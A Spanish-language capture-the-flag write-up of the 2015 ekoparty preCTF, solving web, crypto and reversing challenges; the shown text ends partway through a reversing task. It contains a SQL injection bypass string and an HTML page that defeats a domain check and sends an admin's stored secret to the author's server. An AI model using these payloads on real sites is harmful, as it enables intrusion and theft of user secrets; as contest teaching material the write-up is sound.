lunes, 21 de septiembre de 2015

preCTF ekoparty 2015

Este año el CTF de la ekoparty lo tendrá a cargo NULL Life (los chicos que ganaron nuestro CTF del año pasado).  Y como en años anteriores, este año se lanzo también un preCTF. Aunque no pude dedicarme de lleno, aproveche que lo abrieron por una semana para sacar el tiempo de rato en rato y eventualmente completarlo.

Esta entrada contiene todas mis soluciones a los retos.  Aunque la solución de  pwn200 seguramente mejoraría con algo mas de detalle, he dejado el esbozo general para complementarla después, si es que tengo tiempo.  Si no queda del todo clara, pueden revisar la solución de barrebas & superkojiman o la de @mrexcessive, todos empezamos con la misma técnica y luego cada uno se bifurca.


Web

[web25] Flag requester

Description: Go and get your flag!
http://challs.ctf.site:10000/flagrequest/

Al ingresar al sitio nos encontrábamos algo como:

Flag:                  

Si probamos una comilla simple, recibíamos esto:


ERROR: unrecognized token: "'''))))))))))))))))))))"

Para resolver el reto bastaba con enviar: ')))))))))))))))))))) or 1--

Y recibíamos el mensaje:  Congrats! this is your flag: EKO{sqli_with_a_lot_of_)}

El reto SQLi que no puede faltar ;)

[web50] Hacker's Market

Description: Hacker's market site is not ready but you can send us some comments!
http://challs.ctf.site:10000/hackersmarket/

Al ingresar encontramos un panel con algunas opciones:


Al ingresar a la opción "Login" observamos que la página se forma desde una plantilla y ya sabemos por donde va la cosa:

http://challs.ctf.site:10000/hackersmarket/index.php?p=pages/login.tpl

Al revisar el codigo fuente de la pagina encontramos:

<form role="form" autocomplete="off" action="login.php" method="POST">

Intentamos una inclusion de código:

http://challs.ctf.site:10000/hackersmarket/index.php?p=login.php

Y podremos ver en el código fuente:
<?php
// NULL Code Obfuscator
// www.null-life.com
include 'encoder.php';

error_reporting(0);
$code =
'm2lSp9NqH/+GdlqrrV893KZUVeqfbhvj1VJbr9QpUq6XYgL7iydW0KJAIdupKALugXwF4IBrVdLbJlL0+C9Sr9IrF+KTZh6vzy9W0KJAIdupKBfik2YeqK80eK/SL1Krgm4B/NIvT6/WUCLAoVspqIJuAfyFYADr1VJJhfgvUq/SIF2vuy8R7pwvHOCGLxbmgWwe4IFqUvuaalL9l24er5lqC6+Te1L7mmYBr59gH+qce3iv0i9SoN0vVuSXdlKy0igA7pxrHeKtfxr/rWAQ6Yd8Ee6GZh3h1TR4r9IvUquZaguvzy9VqMkFUq/SLxvp0idW6p9uG+PSMk+y0igT659mHM+abhHkl30f7oBkF/vcYBzmnWFVr9QpUquCbgH80jJPstIoE+ufZhyo2y8JhdIvUq/SL1Kvl2wa4NIoTuubeVLsnm4B/M8tE+OXfQavk2MX/YYiAfqRbBf8gS1S/Z1jF7LQbh7qgHtQsc58Bv2dYRWxhWoe49JrHeGXLk6ggXsA4JxoTK+3RD301S9cr9ZkF/bSIVKojzNd65t5TKjJBVKv0i8Pr5djAerSdHiv0i9Sr9IvUuqRZx2v1TMW5oQvEeOTfAGy0G4e6oB7Uu6eagD732sT4ZVqAK3SfR3jlzJQ7p5qAPvQMU78hn0d4ZUxPefSfBzugi5OoIF7AOCcaEyvpX0d4ZUvEf2XaxfhhmYT44EzXeubeUyoyQVSr9IvD4WPLxfjgWpS9PgvUq/SZxfulmoAp9VDHeyTexvgnDVS5pxrF/fcfxr/1SZJhY8=';

$base = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
eval(NULLphp\getcode(basename(__FILE__), $base($code)));
?>

Descargamos también el código para el encoder:

<?php

namespace NULLphp;

$seed = 13;
function rand() {
    global $seed;

    return ($seed = ($seed * 127 + 257) % 256);
}

function srand($init) {
    global $seed;

    $seed = $init;
}

function generateseed($string) {
    $output = 0;

    for ($i = 0; $i < strlen($string); $i++) {
        $output += ord($string[$i]);
    }

    return $output;
}

function getcode($filename, $code) {
    srand(generateseed($filename));

    $result = '';
    for ($i = 0; $i < strlen($code); $i++) {
        $result .= chr(ord($code[$i]) ^ rand());
    }

    return $result;
}

Y ahora podemos cambiar el "eval" en login.php por un "echo" para imprimir y terminar:

$ sed -i s/eval/echo/ login.php
$ php login.php
if (!empty($_POST['email']) && !empty($_POST['password'])) {
    $email = $_POST['email'];
    $pass  = $_POST['password'];

    // I can not disclose the real key at this moment
    // $key = 'random_php_obfuscation';
    $key = '';
    if ($email === 'admin@hackermarket.onion' && $pass === 'admin') {
        echo '<div class="alert alert-success" role="alert"><strong>well done!</strong> EKO{' . $key . '}</div>';
    } else {
        echo '<div class="alert alert-danger" role="alert"><strong>Oh snap!</strong> Wrong credentials</div>';
    }
} else {
    header('Location: index.php');
}

Otro reto clásico. La flag es: EKO{random_php_obfuscation}

[web100] Protocols

Description: Hack the intranet! http://challs.ctf.site:10002


Usando como proxy podíamos acceder a http://127.0.0.1/ y ver este mensaje:

Intranet server: insecure channel - This site has been moved

Si cambiamos a HTTPS veiamos lo siguiente;



Al intentar acceder por FTP nos encontrábamos con:

 FTP Directory: ftp://127.0.0.1/

 Parent Directory (Root Directory)
 backups. . . . . . . . . . . . . Aug 24 23:05        


Generated Fri, 18 Sep 2015 07:21:34 GMT by localhost (squid/3.1.20) 

Y al entrar a backups/ nos encontrábamos con:

 FTP Directory: ftp://127.0.0.1/backups/

 Parent Directory 
 credentials.db . . . . . . . . . Aug 24 23:05      2k  


Generated Fri, 18 Sep 2015 07:25:10 GMT by localhost (squid/3.1.20) 

El archivo credentials.db era "SQLite format 3" y al mirar dentro podiamos ver entre algunos otros strings:

superadmin@intranet.net 31b54c2ac1ccb15b9896966c3fac5c8e

Buscando ese hash "31b54c2ac1ccb15b9896966c3fac5c8e" en google, nos encontrabamos con un pastebin que contenia esto:

GpmlzRXj0dAlUYU7vPZB 31b54c2ac1ccb15b9896966c3fac5c8e

(Como la fecha del pastebin es de varios días antes de abrirse el juego, asumimos que lo dejaron allí intencionalmente como parte del proceso de solución).

Finalmente, había también un archivo robots.txt que revelaba una ruta importante:

User-agent: *
Disallow: /4dm1np4n3l

Usando el usuario "superadmin@intranet.net" y la contraseña "GpmlzRXj0dAlUYU7vPZB" podíamos regresar a /4dm1np4n3l (vía HTTPS) e iniciar sesión para obtener la bandera.


Flag: EKO{Squid_is_also_FTP_Proxy}

[web200] SAFEBOX

Description: We have developed a secure system that will allow you to store any secret on the cloud and protect it from prying eyes. We are the only SNOWDEN(R) approved service in the world! You can reach it at http://challs.ctf.site:10000/safebox/

Al entrar al sitio podíamos crear una cuenta e iniciar sesión para encontrar esto:


El botón [Save] simplemente almacena el mensaje del campo "Secret". Pero el botón [Share] (para enviar una URL) retorna esto: "thanks, an administrator will review it in a minute!".  Parece ser otro reto bastante común: enviarle un enlace al admin y extraer alguna información vía CSRF.

Si revisamos el código fuente vemos una referencia a file.js y lo cargamos desde http://challs.ctf.site:10000/safebox/file.js :

function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for(var i=0; i<ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0)==' ') c = c.substring(1);
        if (c.indexOf(name) == 0) return c.substring(name.length,c.length);
    }
    return "";
}

function setCookie(cname, cvalue, exdays) {
    var d = new Date();
    d.setTime(d.getTime() + (exdays*24*60*60*1000));
    var expires = "expires="+d.toUTCString();
    document.cookie = cname + "=" + cvalue + "; " + expires;
}


function isSubDomain(c) {
 var d = document.domain;
 var r = new RegExp(c+"$").test(d);
 return r;
}

function saveSecret() {
 var s = document.getElementById('secretbox').value;
 setCookie('secret', encrypt(s),3);
}

function decrypt(data) {
 if (data=="") return "";
 return window.atob(data);
}

function encrypt(data) {
 return window.btoa(data);
}

function checkDomain(c) {
 var d = document.domain;
 var r = false;
 if(d == c) {
  r = true;
 } else {
  r = isSubDomain(c);
 }
 return r;
}



if(checkDomain("challs.ctf.site"))  {
 document.getElementById('secretbox').value = decrypt('');
} else {
 console.log("error");
}


Nos interesa ese "secretbox", pero no el nuestro sino el del administrador!  Este reto tiene algo adicional, y es que la función checkDomain() se encarga de verificar que solo se pueda acceder desde el dominio "challs.ctf.site".   Sin embargo, la función checkDomain() usa la función isSubDomain() y esta, a su vez, usa RegExp().   Podemos preparamos algo como esto (donde modificamos que la función RegExp siempre retorne verdadero):

<html>
<head>
</head>
<body>
<form><input id="secretbox" type="text" value="" /></form>
<script>function RegExp(s) { this.test = function(x) {return true}; }</script>
<script src="http://challs.ctf.site:10000/safebox/file.js"></script>
</body>
</html>

Si lo almacenamos localmente  y lo cargamos en el mismo navegador con el que hemos iniciado sesion en el reto SAFEBOX, veremos que nuestro campo "input" toma el valor del secreto.  Evadimos asi la restriccion de dominio.

Ahora preparamos algo como lo siguiente:

<html>
<head>
</head>
<body>
<form><input id="secretbox" type="text" value="" /></form>
<script>function RegExp(s) { this.test = function(x) {return true}; }</script>
<script src="http://challs.ctf.site:10000/safebox/file.js"></script>
<script>
var oImg=document.createElement("img");
oImg.setAttribute('src', '/web200.php?' + document.getElementById('secretbox').value);
document.body.appendChild(oImg);
</script>
</body>
</html>

Lo almacenamos en un servidor HTTP como web200.html y enviamos el enlace al administrador.  Un minuto después, revisando el access_log en busca de accesos a /web200.php,  encontramos que la pagina ha sido solicitada por el navegador "NULL Browser - PhantomJS" :)  También nos encontramos la flag codificada en la url:

# grep  web200.php /var/log/httpd/access_log
52.20.148.242 - - [18/Sep/2015:20:39:03 -0500] "GET /web200.php?EKO%7Bclient_side_security_for_the_lulz%7D HTTP/1.1" 404 286 "http://200.24.XX.XXX/web200.html" "NULL Browser - PhantomJS"

Flag: EKO{client_side_security_for_the_lulz}.   Otro clasico… pero lo personalizaron con ese checkDomain()… buen reto.

Crypto

[cry25] BASE unknown

Description: IVFU662CIFJUKXZTGJPWG2DBNRWH2===
from base64 import b32decode
print b32decode('IVFU662CIFJUKXZTGJPWG2DBNRWH2===')
Trivial.  EKO{BASE_32_chall}

[cry50] Classic crypto

Description: Your mission is to get the hidden message!
Attachment: crypto50.zip
Al desempacar crypto50.zip nos encontramos con un "message.mp3" con los tonos largos y cortos de la clave morse… después de probar algunas herramientas en Android, logramos extraer el siguiente mensaje:

Screenshot de "Morse Code Reader" para Android

Y ese "RXB ZBEFRPBQRPNRFNE" puede decodificarse, usando ROT13, como "EKO MORSECODECAESAR"

Flag: EKO{morsecodecaesar}

[cry100] RSA 2070

Description: Recover the private key and the flag.
Hints: Check your padding :)
Attachment: crypto100.zip

Al desempacar crypto100.zip nos encontramos con un "flag.enc" y un "public.key".  Como el título del reto ya nos decía que era RSA, vamos directamente a extraer el modulo:

$ openssl rsa -inform PEM -pubin -text -modulus < public.key 2>&1 | grep Modulus= | cut -d= -f2
25B18BF5F389097D17237866BB51CFF8DE922453749EBC403B0995C97C0E386D46C161CADFF77C69860DAE4791C214CF8487AAAA9F26E920A977834906038AEFB5C30827DFCF3FC9E9769544F94E07CDFE0872039A3A6262116678B261FB2D6B9D32539E92A153B3675629BAB3942E7D35E30F7EEF5ABF1C50D797D0CC88E1BDCCFD1A12EA6F7EF75C3727DBDF2E780F3428AE8F7A4FB7A89F184A365032B153F8425E845750EB2B7ABC02DC15CE0207507AA950863BB8480A78028DD62979944D6C633FAFA103E4DB28CE87F5A0C6ED4A2F2664427F565C7781AB6191456D971C7FFA395272374CEC0155E5F91189DB742E4C28B03A0FA11CFFB03173D2A4CCE6AE53

Podemos factorizarlo usando una linea de código SAGE (yo use http://cloud.sagemath.com/):

factor(0x25B18BF5F389097D17237866BB51CFF8DE922453749EBC403B0995C97C0E386D46C161CADFF77C69860DAE4791C214CF8487AAAA9F26E920A977834906038AEFB5C30827DFCF3FC9E9769544F94E07CDFE0872039A3A6262116678B261FB2D6B9D32539E92A153B3675629BAB3942E7D35E30F7EEF5ABF1C50D797D0CC88E1BDCCFD1A12EA6F7EF75C3727DBDF2E780F3428AE8F7A4FB7A89F184A365032B153F8425E845750EB2B7ABC02DC15CE0207507AA950863BB8480A78028DD62979944D6C633FAFA103E4DB28CE87F5A0C6ED4A2F2664427F565C7781AB6191456D971C7FFA395272374CEC0155E5F91189DB742E4C28B03A0FA11CFFB03173D2A4CCE6AE53)

Lo que nos entrega los dos factores P y Q:

3133337 * 
25478326064937419292200172136399497719081842914528228316455906211693118321971399936004729134841162974144246271486439695786036588117424611881955950996219646807378822278285638261582099108339438949573034101215141156156408742843820048066830863814362379885720395082318462850002901605689761876319151147352730090957556940842144299887394678743607766937828094478336401159449035878306853716216548374273462386508307367713112073004011383418967894930554067582453248981022011922883374442736848045920676341361871231787163441467533076890081721882179369168787287724769642665399992556052144845878600126283968890273067575342061776244939

Y en este punto usamos rsatool.py para generar la clave privada, decodificamos la flag que venia en base64 (casi se me pasa ese detalle) y desciframos usando openssl:

$ python rsatool.py -p 3133337 -q
25478326064937419292200172136399497719081842914528228316455906211693118321971399936004729134841162974144246271486439695786036588117424611881955950996219646807378822278285638261582099108339438949573034101215141156156408742843820048066830863814362379885720395082318462850002901605689761876319151147352730090957556940842144299887394678743607766937828094478336401159449035878306853716216548374273462386508307367713112073004011383418967894930554067582453248981022011922883374442736848045920676341361871231787163441467533076890081721882179369168787287724769642665399992556052144845878600126283968890273067575342061776244939 -f PEM -o private.key > /dev/null
$ base64 -d flag.enc > flag.bin
$ openssl rsautl -keyform PEM -oaep -inkey private.key -in flag.bin -decrypt
EKO{classic_rsa_challenge_is_boring_but_necessary}

[cry200] Perfect security

Description: It is not maybe so perfect.
Hints: Use the golden math!
Attachment: crypto200.zip
En crypto200.zip encontrábamos un binario y un archivo cifrado.  Aquí esta la función main() del binario, decompilada:

__int64 __fastcall sub_400928(int argcounter, __int64 argv)
{
  __int64 result; // rax@2
  __int64 v3; // [sp+0h] [bp-20h]@1
  unsigned int i; // [sp+10h] [bp-10h]@18
  unsigned int len_plaintext; // [sp+14h] [bp-Ch]@7
  unsigned int len_keypad; // [sp+18h] [bp-8h]@7

  v3 = argv;
  puts("Perfect security v1.1");
  if ( argcounter == 3 )
  {
    plaintext = fopen(*(argv + 8), "rb");
    if ( !plaintext )
      error(4197490LL, 4197487LL);
    keypad = fopen(*(argv + 16), "rb");
    if ( !keypad )
      error(4197518LL, 0x400C6FLL);
    len_plaintext = file_len(plaintext);
    len_keypad = file_len(keypad);
    if ( !dword_6020B8 && len_plaintext != len_keypad )
      error(4197552LL, 0x400C6FLL);
    mem_plaintext = malloc(len_keypad);
    if ( !mem_plaintext )
      error(4197616LL, 0x400C6FLL);
    mem_keypad = malloc(len_keypad);
    if ( !mem_plaintext )
      error(4197656LL, 0x400C6FLL);
    memset(mem_plaintext, 0, len_keypad);
    if ( fread(mem_plaintext, 1uLL, len_plaintext, plaintext) != len_plaintext )
      error(4197688LL, 1LL);
    memset(mem_keypad, 0, len_keypad);
    if ( fread(mem_keypad, 1uLL, len_keypad, keypad) != len_keypad )
      error(4197712LL, 1LL);
    for ( i = 0; i < len_keypad; ++i )
    {
      *(mem_plaintext + i) ^= *(mem_keypad + i);
      printf("%02x", *(mem_plaintext + i), v3);
    }
    closefiles_freemem();
    result = 0LL;
  }
  else
  {
    printf("Usage: %s <plaintext file> <one-time pad key>\n", *argv, argv);
    result = 0LL;
  }
  return result;

En principio se trata de un One-Time Pad, como lo vemos en la linea resaltada en verde.  El problema es este: el cifrado se realiza en función de la longitud de la clave en lugar de la longitud del mensaje (esto no necesariamente es malo, queremos garantizar que no se agote el keystream!), pero en lugar de verificar las longitudes y demás, se reserva memoria para el texto plano con un longitud igual a la del keystream, y se inicializa la memoria en ceros (resaltado naranja)!.  Asi pues, si el mensaje es mas corto que el keystream, tendremos padding con ceros y al aplicar el XOR con estos ceros estaremos haciendo un leak de algunos bytes del keystream.  Intuimos que el keystream es inseguro (no es aleatorio).

Si observamos el final del mensaje cifrado veremos:

$ hd output.enc | tail -n 24
00004a60  63 66 65 63 62 39 62 30  32 31 66 38 34 31 32 65  |cfecb9b021f8412e|
00004a70  65 31 33 63 31 66 65 38  66 62 61 61 66 31 66 35  |e13c1fe8fbaaf1f5|
00004a80  37 39 37 65 36 35 34 62  38 63 39 33 61 39 38 35  |797e654b8c93a985|
00004a90  37 39 34 34 30 38 33 62  30 63 31 38 30 35 37 64  |7944083b0c18057d|
00004aa0  38 30 62 32 61 61 32 64  37 61 65 34 66 39 39 38  |80b2aa2d7ae4f998|
00004ab0  65 35 36 38 38 32 64 39  36 39 61 63 33 36 36 37  |e56882d969ac3667|
00004ac0  65 30 30 32 39 65 65 31  62 64 33 34 32 37 66 61  |e0029ee1bd3427fa|
00004ad0  37 37 37 35 37 37 37 66  32 36 30 61 36 34 65 39  |7775777f260a64e9|
00004ae0  38 33 37 39 65 64 65 38  32 37 36 38 39 30 36 37  |8379ede827689067|
00004af0  64 36 66 38 39 64 61 37  35 35 32 38 31 35 34 64  |d6f89da75528154d|
00004b00  30 30 36 33 64 64 36 30  35 32 33 30 33 65 33 30  |0063dd6052303e30|
00004b10  30 39 33 31 33 38 33 38  33 35 33 33 33 33 33 30  |0931383835333330|
00004b20  33 37 33 36 33 32 33 33  33 30 33 35 33 35 33 36  |3736323330353536|
00004b30  33 33 33 38 33 31 33 36  33 33 33 31 33 36 33 34  |3338313633313634|
00004b40  33 30 33 31 33 39 33 32  33 32 33 34 33 35 33 34  |3031393232343534|
00004b50  33 35 33 30 33 33 33 32  33 35 33 37 33 36 33 35  |3530333235373635|
00004b60  33 36 33 37 33 33 33 39  33 32 33 35 33 39 33 39  |3637333932353939|
00004b70  33 37 33 36 33 35 33 31  33 37 33 35 33 33 33 30  |3736353137353330|
00004b80  33 38 33 30 33 31 33 34  33 32 33 37 33 31 33 36  |3830313432373136|
00004b90  33 30 33 37 33 31 33 34  33 33 33 30 33 38 33 37  |3037313433303837|
00004ba0  33 31 33 38 33 38 33 36  33 32 33 38 33 35 33 39  |3138383632383539|
00004bb0  33 38 33 33 33 36 33 30  33 33 33 37 33 34 33 36  |3833363033373436|
00004bc0  33 35 33 30 33 35 33 37  33 31                    |3530353731|
00004bca

Aunque el mensaje esta compuesto de caracteres hexadecimales (esta hex-encoded), que he resaltado en cyan, es claro que hacia el final del archivo solo aparecen valores decimales.  Mas aun, si conocen bien la tabla ASCII, es claro que al decodificar, la parte final del mensaje son son solo números (el valor en naranja parece ser el punto de separación, aunque es un numero base-10, no codifica en ASCII a un numero base-10)…

Leer números codificados en ASCII es trivial: cero es 0x30, uno es 0x31, y asi… Entonces, si decodificamos el mensaje, tendríamos muchos valores no imprimibles, y al final el string "18853307623055638163164019224545032576567392599765175308014271607143087188628598360374650571"…  estos son los bytes del keystream, y podemos asumir que todo el keystream esta conformado de números decimales, es un inicio…

Si el mensaje fuera mas corto, podría hacer fuerza bruta con un charset del keystream conocido (igual que en mi solución al reto RC4 del prectf del año pasado)  y parte del plaintext conocido: "EKO{"  (todas las flags parecen incluirlo).  Pero ese es un archivo grande, debe ser un archivo de datos binarios en lugar de texto plano.   Otra opcion sería un PRNG inseguro… pero tenemos una pista "golden math", podria ser que la key se genera con la serie Fibonacci que se relaciona con el numero áureo (pero intente eso y no era) o podría ser algo mas simple…

Usamos el Irrational Numbers Search Engine y para ver si nuestro string del keystream forma parte del numero phi (enlace directo de la busqueda):

The numeric string 18853307623055638163164019224545032576567392599765175308014271607143087188628598360374650571 appears at the 9,608th decimal digit of the Golden Ratio (Phi).

OK. Si verificamos la longitud del texto cifrado, tenemos 9701 bytes, si descontamos la longitud del keystream quedarían 9609 bytes… y ese sring aparece en la posicion 9608. Los numeros concuerdan! El keystream es el número aureo :)

Al preparar el código e intentar imprimir directamente el mensaje decifrado se observa que es un binario con la el número mágico "GIF89a" así que solo presentare el código para almacenarlo como imagen.

Por cierto, aquí solo se muestran algunos dígitos del número phi y se requieren muchos mas!, pero para resolver el reto basta con copiar el resto desde aquí


with open('output.enc', 'r') as enc:
data = enc.read().decode('hex')

phi = """
1.61803398874989484820458683436563811772030917980576286213544862270526046281890
244970720720418939113748475408807538689175212663386222353693179318006076672635
443338908659593958290563832266131992829026788067520876689250171169620703222104
[TRUNCADO]
"""
phi = phi.replace("\n", "")

with open('output.gif', 'wb') as msg:
    for i in range(len(data)):
        msg.write(chr(ord(data[i]) ^ ord(phi[i])))



Lo que nos entrega la flag:


Tengo que decir que este reto me gusto bastante :) Genera el espacio para usar IDA, para analizar el problema, y además los bytes que conseguimos del keystream podrían generarse de muchas formas.  Eso da la opción de transformar el reto.

Flag: EKO{perfect_cipher_with_a_week_key_not_so_perfect}

Reversing

[rev25] EKOGIFT

Description: The easiest reversing challenge!
Attachment: reversing25.zip

Cargar en IDA, ubicar el string de felicitaciones, y justo encima esta la flag, un caracter a la vez, representado como hexadecimal :P

.text:00401C23 cmp     ecx, 0FFFFFFEBh
.text:00401C26 jnz     short loc_401C0D
.text:00401C28 cmp     byte ptr [edx], 45h
.text:00401C2B jnz     short loc_401C0D
.text:00401C2D cmp     byte ptr [edx+1], 4Bh
.text:00401C31 jnz     short loc_401C0D
.text:00401C33 cmp     byte ptr [edx+2], 4Fh
.text:00401C37 jnz     short loc_401C0D
.text:00401C39 cmp     byte ptr [edx+3], 7Bh
.text:00401C3D jnz     short loc_401C0D
.text:00401C3F cmp     byte ptr [edx+4], 74h
.text:00401C43 jnz     short loc_401C0D
.text:00401C45 cmp     byte ptr [edx+5], 68h
.text:00401C49 jnz     short loc_401C0D
.text:00401C4B cmp     byte ptr [edx+6], 69h
.text:00401C4F jnz     short loc_401C0D
.text:00401C51 cmp     byte ptr [edx+7], 73h
.text:00401C55 jnz     short loc_401C0D
.text:00401C57 cmp     byte ptr [edx+8], 5Fh
.text:00401C5B jnz     short loc_401C0D
.text:00401C5D cmp     byte ptr [edx+9], 69h
.text:00401C61 jnz     short loc_401C0D
.text:00401C63 cmp     byte ptr [edx+0Ah], 73h
.text:00401C67 jnz     short loc_401C0D
.text:00401C69 cmp     byte ptr [edx+0Bh], 5Fh
.text:00401C6D jnz     short loc_401C0D
.text:00401C6F cmp     byte ptr [edx+0Ch], 61h
.text:00401C73 jnz     short loc_401C0D
.text:00401C75 cmp     byte ptr [edx+0Dh], 5Fh
.text:00401C79 jnz     short loc_401C0D
.text:00401C7B cmp     byte ptr [edx+0Eh], 67h
.text:00401C7F jnz     short loc_401C0D
.text:00401C81 cmp     byte ptr [edx+0Fh], 69h
.text:00401C85 jnz     short loc_401C0D
.text:00401C87 cmp     byte ptr [edx+10h], 66h
.text:00401C8B jnz     short loc_401C0D
.text:00401C8D cmp     byte ptr [edx+11h], 74h
.text:00401C91 jnz     loc_401C0D
.text:00401C97 cmp     byte ptr [edx+12h], 7Dh
.text:00401C9B jnz     loc_401C0D
.text:00401CA1 mov     [esp+14h+var_10], edx
.text:00401CA5 mov     [esp+14h+Format], offset Format ; "Great! your flag is %s\n"
.text:00401CAC call    printf

El que no sepa leer en hexadecimal, puede pararse sobre cada valor y presionar la 'R' para pasarlo a char.  Alternativamente, puede hacer algo como esto:

''.join(chr(i) for i in [0x45, 0x4b, 0x4f, 0x7b, 0x74, 0x68, 0x69, 0x73, 0x5f, 0x69, 0x73, 0x5f, 0x61, 0x5f, 0x67, 0x69, 0x66, 0x74, 0x7d])

Flag: EKO{this_is_a_gift}

[rev50] Decode it

Description: A not so known decoding algorithm.
Hints: Do not trust symbols! they are lying. Check the algorithm.
Attachment: reversing50.zip
El archivo zip incluye un binario para ARM llamado "decode".  Esta es su función main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // r0@2
  int v4; // r3@5
  int encoded_passwd; // [sp+4h] [bp-420h]@1
  char v7; // [sp+403h] [bp-21h]@1
  char v8; // [sp+404h] [bp-20h]@2
  void *decoded_passwd; // [sp+414h] [bp-10h]@1
  size_t size; // [sp+418h] [bp-Ch]@1
  int i; // [sp+41Ch] [bp-8h]@2
  char v12[4]; // [sp+420h] [bp-4h]@1

  memset(&encoded_passwd, 0, 0x400u);
  printf("Please, enter your encoded password: ");
  fgets(&encoded_passwd, 1024, edata);
  v7 = 0;
  v12[strlen(&encoded_passwd) - 1053] = 0;
  size = Base64decode_len(&encoded_passwd);
  decoded_passwd = malloc(size);
  Base64decode();
  if ( !memcmp(decoded_passwd, "PASS_QIV1qyLR0hFEQU5KCbfm3Hok5V0VmpinCWseVd2X", size) )
  {
    v3 = strlen(&encoded_passwd);
    MD5(&encoded_passwd, v3, &v8);
    printf("Great! the flag is EKO{");
    for ( i = 0; i <= 15; ++i )
      printf("%02x", v12[i - 28]);
    puts("}");
  }
  else
  {
    puts("Access denied");
  }
  return v4;
}

Entonces leemos un password codificado en base64, lo decodificamos y comparamos el valor decodificado con "PASS_QIV1qyLR0hFEQU5KCbfm3Hok5V0VmpinCWseVd2X".  Si son iguales, calculamos el md5 del valor que ingresamos y asi obtenemos la flag.  El proceso es bastante simple, no?

Pues no.  Tal y como lo indica el reto, los símbolos mienten, ya sea porque base64 no es realmente Base64decode(), o porque md5 no es realmente MD5() no es realmente md5… o ambos.

Sin embargo, analizando los imports parece que MD5 se importa desde "MD5@@OPENSSL_1.0.0"  mientras que Base64decode() es una función definida directamente en el binario.

Esta es la función Base64decode() decompilada:

int __fastcall Base64decode(int a1, int a2)
{
  int v2; // r5@1
  bool v3; // r3@2
  int v4; // r6@3
  signed int v5; // r3@3
  int v6; // r4@5
  int v7; // r5@5
  int v8; // r4@6

  v2 = a2;
  do
    v3 = pr2six[*v2++] <= 0x3Fu;
  while ( v3 );
  v4 = v2 - a2 - 1;
  v5 = v2 - a2 + 2;
  if ( v5 < 0 )
    v5 = v2 - a2 + 5;
  v6 = a1;
  v7 = a2;
  while ( v4 > 4 )
  {
    *v6 = 4 * pr2six[*v7] | (pr2six[*(v7 + 1)] >> 4);
    v8 = v6 + 1;
    *v8++ = 16 * pr2six[*(v7 + 1)] | (pr2six[*(v7 + 2)] >> 2);
    *v8 = (pr2six[*(v7 + 2)] << 6) | pr2six[*(v7 + 3)];
    v6 = v8 + 1;
    v7 += 4;
    v4 -= 4;
  }
  if ( v4 > 1 )
    *v6++ = 4 * pr2six[*v7] | (pr2six[*(v7 + 1)] >> 4);
  if ( v4 > 2 )
    *v6++ = 16 * pr2six[*(v7 + 1)] | (pr2six[*(v7 + 2)] >> 2);
  if ( v4 > 3 )
    *v6++ = (pr2six[*(v7 + 2)] << 6) | pr2six[*(v7 + 3)];
  *v6 = 0;
  return 3 * (v5 >> 2) - (-v4 & 3);
}

Y esta es la tabla pr2six

.rodata:00008B10 pr2six          DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                                         ; DATA XREF: Base64decode_len+1C o
.rodata:00008B10                                         ; .text:off_8660 o ...
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x3E, 0x40, 0x40, 0x40, 0x3F
.rodata:00008B10                 DCB 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B
.rodata:00008B10                 DCB 0x3C, 0x3D, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0, 1, 2, 3, 4, 5, 6
.rodata:00008B10                 DCB 7, 8, 9, 0xA, 0xB, 0xC, 0xD, 0xE
.rodata:00008B10                 DCB 0xF, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16
.rodata:00008B10                 DCB 0x17, 0x18, 0x19, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20
.rodata:00008B10                 DCB 0x21, 0x22, 0x23, 0x24, 0x25, 0x27, 0x26, 0x29
.rodata:00008B10                 DCB 0x28, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30
.rodata:00008B10                 DCB 0x31, 0x32, 0x33, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
.rodata:00008B10                 DCB 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40
